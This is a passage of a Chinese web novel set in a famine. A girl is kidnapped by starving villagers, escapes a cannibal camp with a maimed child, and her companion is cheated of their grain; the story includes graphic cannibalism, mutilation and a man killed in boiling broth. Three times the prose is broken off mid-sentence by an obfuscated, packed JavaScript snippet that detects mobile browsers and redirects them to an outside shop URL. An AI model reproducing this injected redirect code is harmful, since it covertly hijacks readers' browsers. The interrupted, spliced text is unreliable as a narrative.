如今蝗虫过境,赤地千里,他们有些粮食,每日也能吃上两顿稀粥,与已是面若菜色的,算是过的很不错的了。 李瑛也饿,她不敢告诉江稚水,她要是说饿,江稚水就会把他那一份硬塞给她。 她方才喝了点生河水充饥,此刻腹中隐隐绞痛。 李瑛回头看看熟睡的江稚水,又望望篝火边打盹的守夜人,到底不忍惊动,自己捂着肚子,悄悄朝不远处黑黢黢的芦苇荡走去。 刚寻了个背人处,解开裤带准备蹲下,身后忽然传来“咔嚓”一声轻响,是枯枝被踩断的声音。 李瑛动作一滞,佯装无事,继续蹲下身,一只手却在地上快速摸索,触到一块边缘锋利的碎石,死死攥在掌心。 她屏住呼吸,估算着那脚步声的远近,正准备回身将石头狠狠掷出。 就在这时,一个熟悉的声音带着笑意,在李瑛身后响起,令人毛骨悚然:“阿瑛妹妹,大晚上的,一个人在这儿做啥呢?” 李瑛僵住了。 她慢慢转过身,她松了一口气,那人是树生。 树生那张熟悉的脸上僵硬地笑着,不达眼底,只是直勾勾地盯着她,像两窟深不见底的黑洞。 李瑛不由自主地后退一步,少女警惕道:“你……” 树生没答话,反而向前逼近了一步。 李瑛继续后退,脊背却猛地撞上一个坚硬而温热的东西。 她骇然,连尖叫都来不及发出,只听见一阵风生,随后后脑遭到一记沉重的闷击。 剧痛炸开,眼前瞬间金星乱迸,耳朵里嗡嗡作响,天地仿佛都在旋转着。 在意识彻底沉入黑暗前,她依稀听见树生的声音,少年哭着,“阿瑛妹妹,我实在是太饿了。” 紧接着,她感到自己的双手被粗糙的绳索死死捆住,嘴里也被塞进一团满是土腥味的破布。 身体一轻,她似乎被人扛了起来。 她感觉自己好像在什么人的背上,但是她又不觉得那是个人,因为这个人的身上疙疙瘩瘩,全是硬邦邦的骨头块,像是某种未知的动物。 在彻底失去意识前最后一丝感知里,她迷迷糊糊地听见树生断断续续的呜咽。 他颠来倒去地絮叨着:“阿瑛妹妹,真是对不住……我阿母……她要饿死了,饿死了。” 李瑛疯狂扭动着身子,她想喊,想叫,想惊醒不远处的江稚水和守夜人。 但是嘴被堵得太深,她只能发出干呕声。 李瑛听见背着他的那个男人喘着粗气道,“长树弟,她好像还没死,你捡块石头给她头上来一下。” “利落点。”男人嘱咐道。 头上猛的一热,血溢了出来,李瑛坠入了黑暗中,她闭上了眼。 难道她今日真的要命丧于此了吗? 3. 第 3 章 李瑛做了一个梦,梦里只有一双青碧色的的眼睛,冷冷地浮在混沌中。 她不断哭泣着,朝着那双漠疏离的眼睛如孩童般嚎啕大哭着,声嘶力竭:“阿父,阿母,不要抛下我!” 她已经很多年没有这样失态了。 忽然,一个温热又粗糙的东西碰了碰她的脸。 李瑛一下子就惊醒了。 眼前是一个眼前是一个孱弱年幼的女孩。 她看着不过七八岁的年纪,最骇人的是,这女孩浑身一丝1不挂,瘦骨嶙峋,皮肉紧紧贴在骨头上,浑身好似只有一扁平的层皮。 女孩怯怯的靠近他,“你醒了,你刚刚一直嘴里喃喃着些话,我还以为你死了呢。” 李瑛猛地挣起上身,动作牵动了后脑的伤处,霎时间天旋地转,眼前金星乱迸,耳畔嗡鸣如潮。 她闷哼一声,身子便失了力气,重重跌回冰冷坚硬的地面。 脸颊蹭过粗砺的砂石,李瑛伏在地上急促地喘息着,视线模糊了好一阵,才渐渐聚拢,“你是谁?叫什么名字?" 女孩摇摇头,脏污打结的头发跟着晃动,"我没有名字,我是家里的老大,他们都叫我王大女。" 李瑛这才惊觉,自己竟也浑身赤/裸,浑身衣物不知所踪。 那女孩儿跟她解释道,“你也是被他们抓了来的,我已经在这儿很久了。” 王大女平静地叙述着,“他们还没有急着吃我,但是把我的衣服都剥了,拿去换了钱。” 李瑛头疼欲裂,她揉了揉太阳穴,慢慢地坐了起来,冷静的打量着周围。 很快,她感觉到了一阵的绝望,这是哪里? 她浑然不知,这是一片开阔的河滩荒地,四周是比人还高的的芦苇荡,在夜风里发出沙沙的声响,一片枯黄萧瑟的景象。 李瑛被牢牢捆在一棵粗壮的老柳树下,柳条低垂,在昏暗的天光里像女人散乱的长发,怪瘆人的。 李瑛惊异的发现那个女孩儿没有被捆着,问王大女,“你没有被捆着,为什么不跑走呢?” 那女孩幽幽一笑,少女纯稚的笑容展现在那张幼稚却又干瘪的脸上,格外的毛骨悚然。 她挪起屁1股,改变了方才一直维持着的跪姿,此时李瑛才悚然发觉。 王大女的左腿只余短短一截,断处虽然愈合了,但是仍留下了暗红色扭曲的肉瘤。 而更令人头皮发麻的是,不远处正架着口大铁锅,锅里“咕嘟咕嘟”地翻滚着。 一股奇异的肉香混合着油脂和某种说不清的腥气,在冰冷清冽的空气里弥漫开来。 饥饿的肠胃不争气地蠕动了一下,李瑛下意识咽了口唾沫。 王大女看着她吞咽的动作,吃吃低笑起来,“你知道锅里面是什么吗?你不害怕吗?” 李瑛没笑。 她目光扫过锅边散落的,被剔刮得干干净净的骨头,又落回王大女脸上,声音出奇地平静:“看着你我的样子,猜到锅里是什么很难吗?” 李瑛看向王大女,沉着道:“你帮我解开麻绳,我带你走,一定能走出来,我还有家人,我不能死。 “我不会允许我死在这里。” 王大女带着一种麻木的笑意,“我帮不了你。” 王大女慢慢抬起双手,伸到李瑛眼前。 借着微弱的火光,李瑛看清了她的双手。 她明明有两只手,却竟然凑不齐五根完整的手指,她张开手指,像一个个畸形的小馒头。 李瑛毛发悚立,感受到了一种想要作呕的恐惧,胃里翻江倒海,她想到了曾经在掖庭的文学馆学习时,女学士所给他讲述的戚夫人的故事 李瑛看向她,努力不呕出来,“你不会想一直在这里,你难道没有家人?” 王大女嗤笑一声,“我的家人就是将砍下我手指,将我卖于他们的人。” “正因为他们这样对你,你才更不能死在这里。”李瑛向前倾身,少女捆在背后的手因用力挣脱而被麻绳磨出血痕。 “帮我解开这破绳子,我就带你走。否则,最多再过一个时辰,你我就会在那锅里相逢。” “你也想活,对不对?”李瑛开口,声音不高,“留着不被他们啃食殆尽可是件难事,你能活到现在,也是殚精竭虑得辛苦。” 夜风吹过芦苇,发出沙沙的声响。 “他们剥了你的衣裳,断了你的手脚,把你当牲口一样圈在这里。你若认了命,早该死了。” “可你还活着。”秋风吹拂着李瑛鬓边的碎发,少女的神情阴在其中,看不真切。 “我没有了脚,我走不远了。”王大女的眼神终于有了一丝波动。 “我背着你。” 毕竟这些丧尽天良的饥民并不是准备充分的匪徒,他们纯粹是饿急了眼,只是想吃肉罢了。 所以捆住李瑛的麻绳是王大女用牙咬断的,那麻绳并不算特别粗壮,只是绑缚的手法巧妙,单凭李瑛自己绝难挣脱。 这大锅正炖着,只留王大女一个人看锅,而他们又出去狩猎了。 他们马上就要回来了,李瑛焦急着,只是在心中暗暗的祈祷着不要太多人。 树生的哥哥石生,正双手谄媚地来回搓着。 他明明曾是这家的郎君,望向奴婢马大的身影却充满了畏缩和恐惧。 马大是一个高大威猛的男子,生得虎背熊腰,一脸横肉。 从前在主家面前,马大总是低眉顺眼,大气不敢喘,颇为恭敬。 但是树生家经过南楚这一遭,元气大伤,他便渐渐露出了豺狼本性,他不甘做奴婢,反而驱使树生、石生兄弟两个。 抢人可不是那么容易的,马大今日无功而返,本来就心情暴躁,他一路骂骂咧咧,远远便瞧见那棵老柳树下空荡荡的。 原先柳树下拴着的女郎不见了,只剩那个断了腿的丫头王大女,孤零零坐在那口咕嘟冒泡的大铁锅旁,肩膀一耸一耸地小声抽泣。 马大心里的火蹭一下就上来了,几个大步跨过去,抡起蒲扇般的巴掌,对着女孩枯瘦的脸颊就狠狠扇了下去。 “人呢?!”马大弯腰,粗糙的大手一把揪住女孩稀疏枯黄的头发,将她整个人从地上提溜起来,声音暴怒如雷,“老子让你看着的肉呢?!去哪儿去了!” 王大女断断续续地哭诉:“我,我不知道。她打晕了我,自己跑了。” 马大眼睛瞪得像铜铃,额上青筋暴跳,扬手又要打。 王大女却像是吓破了胆,又急急补充了一句,声音抖得不成样子:“锅、锅里的肉…也被她偷吃了好多!” 马大一脚踹在王大女那根坏腿上,疼得她冷汗直流,“妈的,我就让你在这边干一件事情,就是看着锅和那女的,不要让她跑了!她把那肉吃了,我吃什么?” 马大一把将女孩像破布般甩开,猛地转身,伸手就去掀那滚烫的锅盖,嘴里不干不净地骂着,“老子倒要看看,这小贱1人吃了多少!” 就在他弯腰低头的那一刹那! 一直卧着倒在干草堆的李瑛从斜刺里冲了过来,少女如同一头敏捷的豹子,她没有选择和他缠斗,而是对准他后腰最脆弱的部1位,狠狠撞了上去! 李瑛将马大整个人推向了铁锅里。 “呃啊!——” 马大猝不及防,整个人彻底失去平衡,惊叫着朝锅里扑去。 他那颗硕大的头颅,不偏不倚,正正朝着翻滚着滚烫油水和肉块的大铁锅栽了进去! 李瑛只听到一声短促凄厉到非人的惨叫,这惨叫声没有持续太久,很快便被“咕噜咕噜”沸水灌入口鼻的闷响取代。 马大的身体剧烈地抽搐起来,双手凭着本能疯狂地抓挠滚烫的锅沿和地面,双腿胡乱蹬踹,想要把脑袋从那致命的滚汤里拔1出来。 可他的头脸已然完全浸入沸水,每一次挣扎都只是让更多的滚汤呛入气管和肺里。 不过短短几个呼吸,那疯狂的扑腾便迅速微弱下去 李瑛没去看锅里那具面目全非的尸体,毕竟看了也是徒增恶心,平白给自己找不痛快罢了。 她拽着王大女转身欲走,却见芦苇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185477|197014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荡边缘站着个人影,那是石生。 那男人直勾勾地盯着她,眼神粘腻得让人脊背发毛。 李瑛皱眉,以为是自己浑身赤1裸的原因,王大女见他赤裸裸的眼神,一阵恶寒,忙不迭地瑟缩到了李瑛身后。 李瑛用自己的身体和乱发帮她掩了掩。 等走近些,借着将熄的火光,李瑛才看清石生那双布满血丝的眼睛里盛满了恐惧。 石生脸色惨白,嘴唇不停哆嗦,目光在李瑛和那口仍架在火上的铁锅之间来回逡巡。 “你不是死了吗?我、我刚才明明…明明。” 李瑛心里猛地一沉,面上却只冷冷摇了摇头。 他脸上最后一点血色也褪尽了。 石生忽然弯下腰,跪倒在地,剧烈地干呕起来。 他抽搐着,颤抖着,大口大口的褐色秽物混着未消化的肉块从口中喷涌而出,溅在枯草地上。 空气中立刻弥漫开一股酸腐腥臊的恶臭。他吐得如此猛烈,连黄绿色的胆汁都呕了出来, 李瑛厌恶的别开脸。 石生吐空了胃里所有东西,哪怕已经呕不出任何东西了,他的身体仍在一抽一抽地痉挛。 石生在污秽中痛苦地打着滚,一只吃了药的老鼠,喉咙里不时发出“嗬嗬”的气音,或是非人非鬼的怪叫。 就在这时,他爬行的动作僵住了。 男人的脸几乎贴到了地面,透过几茎被压倒的枯草。 他看见了一颗沾着黑灰的、圆滚滚的东西。 是一张他熟悉的脸。 那是他弟弟树生。 那颗总是带着点憨气的的脸上,双目圆睁,残留着死前的惊骇,正直勾勾地望着他。 石生整个人如遭雷击,彻底僵住了。 他方才狼吞虎咽的,锅里咕嘟煮着的,地上吐出来的,都是他一母同胞的亲阿弟树生啊! 石生吐着最后一口气,颠三倒四着,“娘,我骗你那是洛水钓上的老鳖肉,但是我要是知道这是你亲儿子的肉,反正你吃了也马上断了气,早知道,你不如就这样饿死了呢。” 李瑛等了片刻,才小心地走上前,用脚尖轻轻踢了踢石生的身体。 他肚子异常鼓胀,皮肤紧绷得发亮,他方才吞了太多难以消化的东西,又在惊惧交加之下,剧烈呕吐痉挛,他生生将肚肠撑破了。 秋风萧瑟,李瑛二人方才处在生死之境,并不觉得冷,如今心神一定,连连打着哆嗦。 李瑛指了指那两个还带着体温的死人,“咱们换上他俩的衣裳。” 二人手脚麻利地换上男装。那粗布衣裳太过宽大褴褛,下摆太长,几乎曳地。 李瑛将外衣撕扯成条,权作裤带紧紧束住腰身,又从马大那件血污的外袍上撕下几幅结实的布片,仿照着掖庭女犯背负婴孩的模样舂米的样子,让王大女到她背上来。 李瑛背着她一步一步的走。 但男人的靴子太大了,套在脚上像两只笨重的船,走两步就要掉。 她索性脱了,但是李瑛也不舍得丢,塞给背后的王大女,“抱着。” 李瑛的脚底板都磨烂了,沙土被血濡湿了,又结成硬壳,再被磨开。 但是她不能停,停下来就再也背不起来了。 天光大亮,光刺进眼睛里,她眨了眨,眼前一阵发黑。 李瑛一个踉跄,她再也支撑不住,直挺挺地向前扑倒,重重地栽进了沙砾里。 朦胧间,她听见王大女一边呼救,一边推搡她的哭声。 在李瑛模糊的视野尽头,远远晃动着两个人影。 那是一对同样仓皇的逃荒夫妻,正朝这边奔来。 李瑛用尽最后一丝力气,对那对夫妻说,“我有一个哥哥,姓江,叫稚水,我求求你们,带我去找他,带我回家。” 李瑛的手指紧紧抓着那个女人同样枯瘦的手臂,她头一歪,彻底昏厥了过去。 那对夫妻里的妻子带着厚茧的手掌胡乱抹着李瑛脸上的沙土和血污,她急切地唤着:“妹子!醒醒!别怕,别怕啊。” 4. 第 4 章 李瑛结结实实得病了一场。 她昏昏沉沉地睡着,浑身烧得滚烫,几次病情凶险到命悬一线。 她好累,好累,好累。 实在想不起来,上一次这么舒服究竟是什么时候?在这份恍惚中,她仿佛挣脱了沉重的病体,轻飘飘地漂浮起来,停在半空。 每当她感觉自己的灵魂逐渐升高升高的时候,她总听见江稚水断断续续的啜泣声,少年一边哭,一边用清凉的洛水擦洗着她的身子。 李瑛的这条小命,半条都是江稚水哭出来的。 直到六日后的一个下午,她猛地睁开了眼睛。 入眼是李瑗小巧精致的下巴,他正垂眸看着她,没什么表情。 而自己,竟然方才一直窝在他的怀里。 李瑛刚刚苏醒,头脑还有些发懵,她不自在地扭了扭身子,李瑗的手臂却收得更紧,将她稳稳钳在怀中。 李瑛第一次见李瑗是在五岁的时候,这些年,哪怕与他文霄堂日日朝夕相对四年,她与他都没有过这么亲密的时刻。 李瑗性子怪,不喜人触碰。 李瑛性子冷淡,从小就是奴婢们跪着劝着地服侍她。 三岁前,她是最难糊弄的,非的要阿母哄着,阿父抱着,整个大成朝最尊贵的两个人被第三尊贵的女儿指使得团团转。 至于旁的人,她都懒得瞧他们一眼。 她不高兴,自然有人忙不迭地捧着无数雕金嵌玉的珠宝珍玩、无数憨态可掬的奇珍异兽奇珍异兽供她赏玩。 人间富贵、四海灵奇,她都不稀罕。 可人家好东西见惯了,恨不得把指头大的东珠都一把一把地撒到鸡圈里喂鸡。 哪怕是李瑛五岁时,元昭皇后薨了,她也被囚在文霄堂中整整四年。 只是,文霄堂中一共就四个人,除了不捧场的便宜弟弟李瑗,稚水和魏姨更是视她为宝,当真是捧在手上怕跌了,含在嘴里怕化了。 李瑗既然不愿意搭理她。 李瑛又何必热脸贴他的冷屁\股 李瑛在他怀里真是不自在极了,她整个身子都僵直了。 李瑛哑着嗓子问:“阿难,怎么是你?稚水呢? 王大女坐在她脚边,穿着一件藕色的麻布衣衫,见她醒来,立刻欢天喜地挨过来:“你醒了!真是要把我吓死了!这几天你烧得吓人,你知道吗?你阿兄急得夜里偷偷哭了好几回!” “因为你病了,我们已在此地停留数日。前一波队伍早已离去,我们决定在此等候,与下一批人结伴,再往雍州去。”王大女把右手搁在李瑛的额头上,试了试温度。 李瑛一动都不敢动。 好半晌,她才“哦”了一声,经历了这一遭,她是真的有些忧心。 他们几个,一个面白无须的纤弱少年,一个剃了发的乖僻小郎,再加一个残疾的女童。 这样的组合,在这乱世中如何保全自身? 他们该何去何从? “我可以叫你李家姊姊吗?”王大女好奇地问,“为什么你和你阿兄不是一个姓?” 李瑛闭着眼睛胡诌,一点也不脸红心跳,“我们是表兄妹。” “叫我李瑛就行。” “李家阿姊,说起来,稚水阿兄出去找吃的,去了快一整天了。”王大女又道。 就在这时,李瑗从身后变似的拿出来一碗米汤,他微笑着递给王大女,支开她:“王女郎,烦请帮我把这米汤热一热可好?” 十一岁的李瑗笑起来是真的很好看,如果江稚水笑起来是腼腆青涩的,像是一颗被咬开的青杏,毛茸茸的果皮上还缀着杏花的胭脂色。 那李瑗笑起来就像是洛都初春时解冻了的河水,荡漾着被风吹散了的粉色杏花,冰凉但是温柔,杀人于无形。 王大女高高兴兴地接过碗,拄着棍子一瘸一拐地走远了。 李瑛也不知道为什么,对于和她同样虎口逃生的王大女,她抱有一种自己也说不清道不明的感觉。 说不上喜欢,也说不上讨厌。 就像是李瑗,她内心里揣摩着。 但是她也不是那种自己能安然地躺在四肢健全的弟弟怀里,由得王大女一个残疾人为她奔波。 李瑛挣扎地试图起身,李瑗却轻巧地将她拉回。 “急什么?”李瑗的声音带着一丝慵懒的玩味,他的目光追随着王大女蹒跚的背影,嘴角噙着笑意。 李瑛转过头,正对上弟弟澄澈的眸子,逃难数月,他头顶早就长出了发岔,新生的头发在晨光中泛着柔光,像田垄上初生的春韭。 李瑗的那抹笑意深了些。 "阿姊。"他唤道,“我想知道一件事。” “我弄丢了牛车,阿姊恨不恨我,怪不怪我?” 李瑛看着他的眼睛,不夹杂任何悲喜,只是诚实道,“恨你,若不是你,我们早就到了南楚。” 李瑗叹了一声,“可南楚未必就是生路。” 他笑眯眯,“阿难想知道的是,阿姊通透,是否能对阿难与江稚水一视同仁?” 李瑛皱眉,“什么意思?” 李瑗却不再看她,目光投向远处,仿佛自言自语:“若真能如此……阿姊便堪称圣人了。” 李瑛最烦这种玄而又玄的话。 如今没了牛车,他们还剩些什么? 除了那袋子如今赖以生存的黍米,还有那个最要紧的皂色包袱,他们真是算得上一贫如洗。 李瑛扫了一眼空地,皂色包袱还在,那袋子黍米去哪里了? 她心里有一种不祥的预感。 江稚水颓废的走在土路上,他原本是想给李瑛换些有营养的东西。 黍米固然能饱腹,却补不了这场大病耗去的元气。 想到李瑛的病,江稚水的心便揪紧了。 昨日他估摸着李瑛似是退了,以为她晚上能醒来,就用半升黍米换了一条鱼,想着给她熬碗奶白的鲜鱼汤。 谁知他年纪轻,又自小养在深宫,虽说日子过得一直勉强过活,但是若无机缘巧合,他身为黄门郎,定会老死宫中。 这样一来,他五谷不分,六畜不认,也在情理之中。 逃难途中还能弄到新鲜食物的都是顶顶精明世故的老江湖,坑他一个心情单纯的少年郎真是手到擒来。 江稚水用半升黍米换来的鱼是条烂鱼。 等他剥开鱼腹,一股难以言喻的腥腐气便扑面而来。 鱼的内脏里长满了白花花的虫子,密密麻麻,乌压压地蠕动着,有些甚至已经钻进了粉色的鱼肉里,留下令人作呕的孔洞 可那是半升黍米啊! 他懊悔得无以复加,想去寻那卖主理论,人家早就带着一家老小逃之夭夭,哪里还找得到! 此事只得作罢了。 他不敢给李瑛吃,不敢跟李瑗吃,也不敢给李瑛的救命恩人王大女吃。 王大女倒是干脆,又咽了口唾沫,小声道:“丢了也是糟蹋。” 死鱼的绦虫煮熟了什么味道都没有,吃到嘴里口感是“粉粉的”,沙沙的,面面的。 江稚水看着粗陶碗里的绦虫,只觉得形状像一根根水引饼,细细长长,但是又没有面食的筋道,牙齿一碾,就像在嘴里抹开碎沙泥巴。 江稚水捧着碗,一边吃,一边呕,一边哭。 他淌着眼泪,泪眼汪汪,“我真是糟蹋了这好东西。” 也不知道是在心疼那半升黍米,还是在心疼那条烂鱼。 王大女也在哭,她狼吞虎咽着,连着鱼刺都嘎嘣嘎嘣地咬碎,看得泪眼朦胧的江稚水惊叫连连。 连着平日最不合群的李瑗都凑过来看王大女吃鱼。 王大女抹着眼泪,呜呜咽咽道,“香啊,香啊。” 江稚水兜兜转转了一整天,都没有找到有人有鸡鸭鱼,倒是抱着那袋黍米,如同做贼一样。 俗话说财不外露,若是在太平年间,在洛都上穿什么的都有,什么都不穿的也有,大家都见怪不怪。 可如今行走着乡间小道,精神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185478|197014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尚可的江稚水与这些面黄肌瘦的饥民里,倒显得有些格格不入。 偶尔遇着人,他总把布袋子往怀里藏,可布袋子鼓胀胀的,根本藏不住的。 饥民的眼睛就黏在上面,恨不得用眼睛挂破那麻布袋子,恨不得从里面刮出黄澄澄的米粒来大快朵颐,吃个痛快。 江稚水只觉得这一道道目光,像长了舌头似的,湿漉漉、粘糊糊地舔过他全身,贪婪的好似要冒绿光,恨不得在路上就把他剥皮拆骨,吞食下咽。 江稚水又可怜又恐惧又厌恶。 他想要去找碗牛乳来喂给李瑛吃,米汤吃久了,他喂一半,李瑛几乎就吐一半。 不过几日功夫,少女眼窝便深陷下去,本就不丰盈的面颊也迅速消瘦,只剩下一层薄薄的肌肤紧绷在骨头上。 嘴唇更是干裂,起着灰白的壳。 “小兄弟,你在这里做什么?”男人朝江稚水友善的笑道,此人正是抱李瑛回来的夫妻里的丈夫。 男人脸上带着憨厚而实在的笑意,喜气洋洋地瞅着他。 不待江稚水回答,男人已自顾自地咧开嘴,“我做阿父了,我媳妇生了,她生了,生了一个儿子!" 江稚水惊讶地张开嘴,道了好几句恭喜之类的吉祥话,他心里惦念着正事,与他周旋几句,就欲转身离去。 临走,忽然福至心灵,江稚水犹豫了一瞬,还是咬咬牙,吱唔道,“请问,请问尊夫人…能否借我一碗奶水?” 他脸红透了,恨不得立马解下裤腰带吊死在街旁的枯树上。 那不行,裤子会掉下来,更不体面,若是非得选一个死法,江稚水恨不得立刻捂着脸投江去。 话一出口,江稚水羞愧欲死,颤颤巍巍地连忙补充:“我、我愿以一升黍米相换!” “实在是我妹子病的起不了身,我想给她补补。” 男人的笑容敛了敛,语气淡了许多。 江稚水愈发无地自容,头垂得更低,脑袋简直要耷拉到地上。 半晌,男人叹了口气,“大灾年间,又逢乱世,大家都不容易,你家妹子也是怪可怜见的,才那么大的一个女娃,当真是死里逃生。 “这样吧,你跟我回家去,我和我新妇商量一下。这事儿,得她点头。” 江稚水如蒙大赦,忙不迭地扛着布袋子跟上了男人大步流星的步伐。 说是“家”,不过是用几块破烂油布和树枝勉强搭起的窝棚。 但比他们的的那个要好上许多。他们到底还是孩子,几乎从未出过宫门,并不懂得如何生活。 江稚水站在棚外,听着里面传来妇人低柔的哼唱声和婴儿细微的嘤咛,一时有些恍惚。 棚内妇人听了丈夫的转述,竟噗嗤笑了出来,声音爽利:“我当是啥子大事!这有啥子的?” 她抚摸着无名指上的那枚玉戒指,玉华流转,倒是漂亮。 这枚戒指正是从前鲁香娘的爱物,也是江稚水替昏迷不醒的李瑛,送给这对夫妻的答谢之礼,价格不菲。 妇人又对丈夫道:“我瞧那郎君说话斯文,模样也周正,细皮嫩肉的,怕不是落了难的贵人哩!你把帘子掀开些,把儿子抱去给那个郎君瞧瞧,也沾沾喜气。” 男人依言掀开帘子,随后小心翼翼地从妇人身边抱起一个襁褓,递向江稚水。江稚水有些犹豫,不知道该不该接过那孩子。 那人以为他是贵人,却不成想他只不过是一个最不起眼的内侍。 不抱怕是违逆了人家夫妻的一片好心,惹人家伤心。 其二,若是不抱,人家不高兴了,怎会又借奶给李瑛? 可若是抱了,回想起他这辈子,他竟不知是将好运传给这孩子,还是将霉运传给这孩子。 一时间静极了,只余婴孩细微的呼吸声。 男人的手臂仍伸着,爽朗幸福的笑容渐渐有些凝住了,场面一时有些尴尬。 婴儿脱离了母亲身上安然的气味和温暖舒适的窝棚,小手摇晃几下,就张着嘴哇哇大哭起来。 5. 第 5 章 江稚水最终还是顺势接过了男人怀里的婴儿。 他是很擅长哄孩子的。 初遇李瑛时,李瑛只有五岁,自己也才只有七岁,但他自己也觉得他生来仿佛就是做阿兄的。 到后来文霄堂囚禁,八皇子李瑗还是一个牙牙学语的孩子,免不了要细心照料。 李瑛吃味,江稚水若是牵了李瑗一下,她就要和江稚水牵着手睡一晚上。 江稚水若是哄过一次李瑗睡觉,李瑛就得在旁边的床榻上扯着嗓子嚎一晚上。 江稚水有些享受被李瑛争抢的过程。 江稚水轻轻摇晃着孩子,软软的婴孩安静地窝在他臂弯里,他看着孩子安睡的面庞,想到从前无数个夜晚,李瑛从梦魇里惊醒,他也是这样重新哄着她入睡的。 江稚水脸上也带着朦胧的笑意。 这孩子温热、柔软,带着奶香气,浑然不像是逃荒生下的孩子,反倒是白白胖胖的。 包裹他的小被子虽然布料粗糙,却絮着温暖的棉花,厚实又软和。 女人惊奇地笑道,“这孩子倒是有郎君颇为有缘。” 男人也乐道,他伸出手轻轻戳了戳婴孩柔软细腻的面颊,“这孩子可闹人了,昨夜我和他阿母哄了他一整夜,他都不肯好好睡觉。” 女人打趣道,“郎君生得这般好容貌,郎君的妹妹也那样聪慧机敏,男孩子随阿姑,若郎君日后有了孩子,不晓得孩子要多么玉雪可爱呢。” 会吗? 不会了。 他是不可能有孩子的。 他看着这孩子,又看着面前带着骄傲幸福的父母,一时间心酸的恨不得滚下泪来。 曾几何时,他也有过这样子的温馨时刻 他忙的把泪止住了,理了理皱巴巴的衣袍,就要跪下来道谢。 那男人忙不迭地把他搀起来,“小兄弟,这可如何使得?” 江稚水哽咽着,他抬起袖子擦了擦眼角,语无伦次道,“我真是,我真是无以为报。” 过了半晌,一只戴着玉戒指的手探出窝棚,稳稳地端来一个粗陶碗,碗里盛着大半碗乳白色的奶汁,散发着淡淡的腥甜味。 女人的声音从窝棚里闷闷地传来,腼腆道,“喏,小兄弟,我只能匀出这些了,毕竟我这边还有个嗷嗷待哺孩子饿着。” 江稚水感激涕零,“这样子就已经很好了” 江稚水感恩再三,他放下布袋子,拿出放在最上面的牛皮水囊,那男人帮他扶着水囊,微黄奶白的乳流畅顺滑地灌入水囊。 江稚水再三绑好水囊的塞子,好让乳汁不要溢出来。 他笑着拿着方才那个粗陶碗,想去布袋子里掏粮食。 就在江稚水视线聚焦在最上层的黍米时,他顿住了。 他浑身一哆嗦,手一软,粗陶碗跌在地上,顿时四分五裂。 男人看着布袋子里的粮食也愣住了,窝棚里的女人不知道为何外面忽然这么安静,以为是丈夫因为碗碎了所以生气。 她尴尬地笑了两声,不安地叫着丈夫的名字。 好不容易被江稚水哄好的婴儿似乎感受到不安,突然“哇”地一声又啼哭起来。 只见那布袋子里,最上层确是一层白中泛黄的黍米。 江稚水颤抖地伸手,他青白釉色的指尖轻轻滑动着黍米。 真正的黍米仅有最上面薄薄的一层。 整个布袋子里装着的大半是掺杂着黑褐色不知名的野籽,甚至还有些像是细碎土块与草屑的混合物。 江稚水颤抖着将手臂伸进袋子,一直等到手臂的前半节全部没入布袋,干燥圆润的黍米什么变成了这些坚硬阴凉的草籽? 他死死盯着那些袋子,脸色青白,粗喘着气,耳畔旋绕着那婴儿愈发嘹亮的啼哭,头痛欲裂。 江稚水上气接不来下气,他用力捶着胸口,“怎么会这样?” 是在什么被换的? 一定是那卖鱼人!是了! 定是那时! 是他弄丢了粮食。 浩浩天壤,何厄吾途? 江稚水只觉得天旋地转。 女人从窝棚里走了出来,看着地上碎裂的粗陶碗以及那包装满草籽的布袋子,她神色有些震惊和狐疑。 女人看着他这幅癫狂的模样,上前一步想要去搀扶他。 她刚上前一步,她身侧的丈夫就拉过她的胳膊,挡在她身前。 男人怒目圆瞪,神情带着被欺骗后的不可置信。 江稚水只觉得天旋地转,男人女人和那婴儿的脸在他面前疯狂旋转跳跃,如同走马灯一般。 江稚水实在承受不住这样探究的目光,他两眼一翻,晕厥了过去。 江稚水回来的时候已经是晚上了。 李瑛正在用王大女拔下的头发玩着翻花绳,见江稚水回来,李瑛虚弱又温和地朝他笑了笑。 若在平时,江稚水定惊喜万分地扑上来,握着她的手,眼泪汪汪地将她絮絮叨叨地叮嘱个遍。 李瑛不明所以,只觉得江稚水失魂落魄的。 李瑛抬头探寻地去寻李瑗的眼神,李瑗却很适宜地低头看着王大女残缺的手指,故意不搭理她。 李瑛转过身,狠狠翻了一个白眼。 江稚水无声地解下水囊,将乳汁倒进李瑛方才喝米汤的碗里。 他默不作声地将那碗乳放在火上小心温了温,背着李瑛的背影多少有些落寞。 李瑛有些坐立不安。 过了半晌,他将那碗乳端到李瑛面前。 李瑛努力忽略身旁王大女几乎是冒着精光的眼,低头啜饮了一口。 她轻轻舔了舔唇,“味道有些甜腥,倒不大像是牛乳,这是什么,羊乳么?” 还剩一半的时候,李瑛将碗递到江稚水嘴边,江稚水摇了摇头。 他疲惫地笑了笑,轻轻撩开李瑛黏在脸上的碎发,帮她别在耳后,温言道,“都喝了罢。” 喝到还剩最后一口,李瑛不肯再喝,江稚水也不勉强她。 他从怀里掏出来一块包着的碎布,里面装着方才他趴在地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 